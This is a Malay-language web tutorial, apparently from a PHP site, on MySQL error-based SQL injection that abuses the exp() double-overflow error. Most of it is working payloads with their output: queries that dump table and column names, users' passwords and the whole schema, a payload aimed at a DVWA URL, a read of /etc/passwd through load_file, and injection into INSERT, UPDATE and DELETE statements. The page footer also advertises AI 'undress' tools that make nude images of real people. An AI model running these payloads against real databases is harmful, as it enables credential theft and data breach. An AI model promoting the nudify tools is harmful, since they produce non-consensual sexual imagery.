Rumah Operasi dan penyelenggaraan Keselamatan Cara menggunakan exp untuk suntikan ralat SQL

Cara menggunakan exp untuk suntikan ralat SQL

May 12, 2023 am 10:16 AM
sql suntikan sql

Gambaran Keseluruhan Pengenalan 0x01

Editor menemui satu lagi limpahan data Berganda dalam MySQL. Apabila kita mendapat fungsi dalam MySQL, editor lebih berminat dengan fungsi matematik Ia juga harus mengandungi beberapa jenis data untuk menyimpan nilai. Jadi editor berlari untuk menguji untuk melihat fungsi mana yang akan menyebabkan ralat limpahan. Kemudian editor mendapati bahawa apabila nilai yang lebih besar daripada 709 diluluskan, fungsi exp() akan menyebabkan ralat limpahan.

Cara menggunakan exp untuk suntikan ralat SQL

<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709)              |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>

Dalam MySQL, exp mempunyai fungsi bertentangan ln dan log Untuk memberikan pengenalan ringkas, kedua-dua log dan ln mengembalikan logaritma dengan e sebagai asas, lihat persamaan. :

Cara menggunakan exp untuk suntikan ralat SQL
Cara menggunakan exp untuk suntikan ralat SQL
<p>mysql> select log(15);<br>+------------------+<br>| log(15)          |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15)           |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>

Fungsi eksponen ialah fungsi songsang bagi fungsi logaritma, exp() ialah fungsi logaritma dengan e sebagai asas , Seperti persamaan:

Cara menggunakan exp untuk suntikan ralat SQL
mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

Suntikan 0x02

Apabila melibatkan suntikan, kami menggunakan pertanyaan negatif untuk menyebabkan "GANDA nilai berada di luar julat" ralat. Seperti yang dinyatakan dalam catatan blog penulis sebelum ini, penyongsangan bitwise 0 akan mengembalikan "18446744073709551615".

<p>mysql> select ~0;<br>+----------------------+<br>| ~0                   |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version())  |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>

Kami mencipta ralat limpahan BERGANDA melalui penolakan subkueri dan bitwise, dan menggunakan ini untuk menyuntik data.

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x03 Inject data

Dapatkan nama jadual:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

Dapatkan nama lajur:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

Dapatkan data:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x04 Semalaman

Pertanyaan ini boleh membuang semua jadual dan lajur daripada konteks semasa. Kami juga boleh membuang keseluruhan pangkalan data, tetapi kerana kami mengekstrak melalui ralat, ia akan mengembalikan hasil yang sangat sedikit.

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
Cara menggunakan exp untuk suntikan ralat SQL

0x05 Baca fail

Anda boleh membaca fail melalui fungsi load_file(), tetapi pengarang mendapati bahawa terdapat adalah sekatan 13 baris, pernyataan ini juga boleh digunakan dalam suntikan limpahan BIGINT.

select exp(~(select*from(select load_file('/etc/passwd'))a));
Cara menggunakan exp untuk suntikan ralat SQL

Perhatikan bahawa anda tidak boleh menulis pada fail kerana ralat ini hanya menulis 0.

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0

Suntikan 0x06 dalam Sisipan

Ikuti sahaja langkah

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

Pertanyaan DIOS juga boleh digunakan untuk semua penyata sisipan, kemas kini dan padam.

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'

Suntikan 0x07 dalam Kemas Kini

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

Suntikan 0x08 dalam Padam

mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

Sama seperti suntikan BIGINT, suntikan exp sebelum ini Juga boleh digunakan untuk MySQL5.5.5 dan ke atas. Versi sebelumnya "senyap" tentang situasi ini.

mysql> select version();  +---------------------+  | version()           |  +---------------------+  | 5.0.45-community-nt |  +---------------------+  1 row in set (0.00 sec)     mysql> select exp(710);  +----------+  | exp(710) |  +----------+  |   1.#INF |  +----------+  1 row in set (0.00 sec)     mysql> select exp(~0);  +---------+  | exp(~0) |  +---------+  |  1.#INF |  +---------+  1 row in set (0.00 sec)

Mungkin ada fungsi lain yang akan menghasilkan ralat seperti ini.

Atas ialah kandungan terperinci Cara menggunakan exp untuk suntikan ralat SQL. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn

Alat AI Hot

Undress AI Tool

Undress AI Tool

Gambar buka pakaian secara percuma

Undresser.AI Undress

Undresser.AI Undress

Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover

AI Clothes Remover

Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Clothoff.io

Clothoff.io

Penyingkiran pakaian AI

Video Face Swap

Video Face Swap

Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Alat panas

Notepad++7.3.1

Notepad++7.3.1

Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina

SublimeText3 versi Cina

Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1

Hantar Studio 13.0.1

Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6

Dreamweaver CS6

Alat pembangunan web visual

SublimeText3 versi Mac

SublimeText3 versi Mac

Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas

Tutorial PHP
1543
276
Bagaimana anda mengira perbezaan antara dua tarikh dalam SQL? Bagaimana anda mengira perbezaan antara dua tarikh dalam SQL? Aug 02, 2025 pm 01:29 PM

Untuk mengira perbezaan antara dua tarikh, anda perlu memilih fungsi yang sepadan mengikut jenis pangkalan data: 1. Gunakan Datediff () untuk mengira perbezaan hari dalam MySQL, atau menentukan unit -unit seperti jam dan minit dalam timestampdiff (); 2. Gunakan Datediff (date_part, start_date, end_date) dalam sqlserver dan tentukan unit; 3. Gunakan penolakan langsung dalam PostgreSQL untuk mendapatkan perbezaan hari, atau menggunakan ekstrak (DayFromage (...)) untuk mendapatkan selang yang lebih tepat; 4. Gunakan fungsi Julianday () untuk menolak perbezaan hari dalam SQLite; Sentiasa perhatikan pesanan tarikh

Apakah jenis data gumpalan dan clob dalam SQL? Apakah jenis data gumpalan dan clob dalam SQL? Aug 07, 2025 pm 04:22 PM

Blobstoresbinarydatalikeimages, audio, orpdfsasrawbyteswithoutcharacterencoding, whileClobstoreslargetextsuchasarticlesorjsonusingcharacterencodinglikeutf-8andsupportsstringsstrings;

Mengoptimumkan pesanan SQL dengan prestasi pertanyaan Mengoptimumkan pesanan SQL dengan prestasi pertanyaan Aug 04, 2025 am 11:19 AM

Untuk mengoptimumkan prestasi Orderby dalam SQL, anda mesti terlebih dahulu memahami mekanisme pelaksanaannya dan membuat penggunaan rasional indeks dan struktur pertanyaan. Apabila medan penyortiran tidak mempunyai indeks, pangkalan data akan mencetuskan "filesort", memakan banyak sumber; Oleh itu, penyortiran langsung jadual besar harus dielakkan dan jumlah data yang disusun harus dikurangkan melalui tempat keadaan. Kedua, mewujudkan indeks yang sepadan untuk bidang penyortiran boleh mempercepatkan pertanyaan, seperti mewujudkan indeks pesanan terbalik di MySQL 8.0 untuk meningkatkan kecekapan. Di samping itu, paging yang mendalam (seperti Limit1000, 10) harus digunakan bukannya dengan paging kursor berasaskan indeks (seperti di mana> 12345) untuk melangkau imbasan tidak sah. Akhirnya, menggabungkan caching, agregasi tak segerak dan cara lain juga dapat mengoptimumkan prestasi penyortiran dalam senario set data yang besar.

Bagaimana anda memberikan dan membatalkan kebenaran dalam SQL? Bagaimana anda memberikan dan membatalkan kebenaran dalam SQL? Aug 04, 2025 am 09:19 AM

GRANTandREVOKEstatementsareusedtomanageuserpermissionsinSQL.1.GRANTprovidesprivilegeslikeSELECT,INSERT,UPDATE,DELETE,ALTER,EXECUTE,orALLPRIVILEGESondatabaseobjectstousersorroles.2.SyntaxforgrantingisGRANTprivilege_typeONobject_nameTOuser_or_role,allo

Bagaimanakah pengendali wujud berbanding dengan pengendali dalam SQL? Bagaimanakah pengendali wujud berbanding dengan pengendali dalam SQL? Aug 05, 2025 pm 01:08 PM

UseexistsforexistenceChecks, terutama sekali

Bagaimana untuk mencari jumlah lajur dalam SQL? Bagaimana untuk mencari jumlah lajur dalam SQL? Aug 08, 2025 pm 05:54 PM

Fungsi tofindthesumofacolumninsql, usethesum (), yang mana -mana yang tidak dapat diterangkan;

Cara menyertai meja dengan sendirinya di SQL Cara menyertai meja dengan sendirinya di SQL Aug 16, 2025 am 09:37 AM

Aself-joinisusedtocomparerowswithinthesametable,suchasinhierarchicaldatalikeemployee-managerrelationships,bytreatingthetableastwoseparateinstancesusingaliases,asdemonstratedwhenlistingemployeesalongsidetheirmanagers'nameswithaLEFTJOINtoincludetop-lev

Bagaimana anda menggunakan klausa yang mempunyai untuk menapis kumpulan dalam SQL? Bagaimana anda menggunakan klausa yang mempunyai untuk menapis kumpulan dalam SQL? Aug 04, 2025 pm 12:12 PM

Gunakan klausa yang mempunyai untuk menapis data dikumpulkan selepas GroupBy, terutamanya apabila syarat melibatkan fungsi agregasi seperti kiraan (), jumlah (), avg (); 2. 3. Mempunyai mesti diletakkan selepas Groupby, dan alias lajur dalam Select tidak boleh digunakan, dan ungkapan agregat mesti diulang; 4. 5. Senario aplikasi biasa termasuk mencari pelanggan yang nombor pesanan melebihi nilai yang ditentukan, jabatan yang gaji purata lebih tinggi daripada nilai tertentu, atau tidak termasuk kumpulan dengan nilai nol; 6. Jumlah

See all articles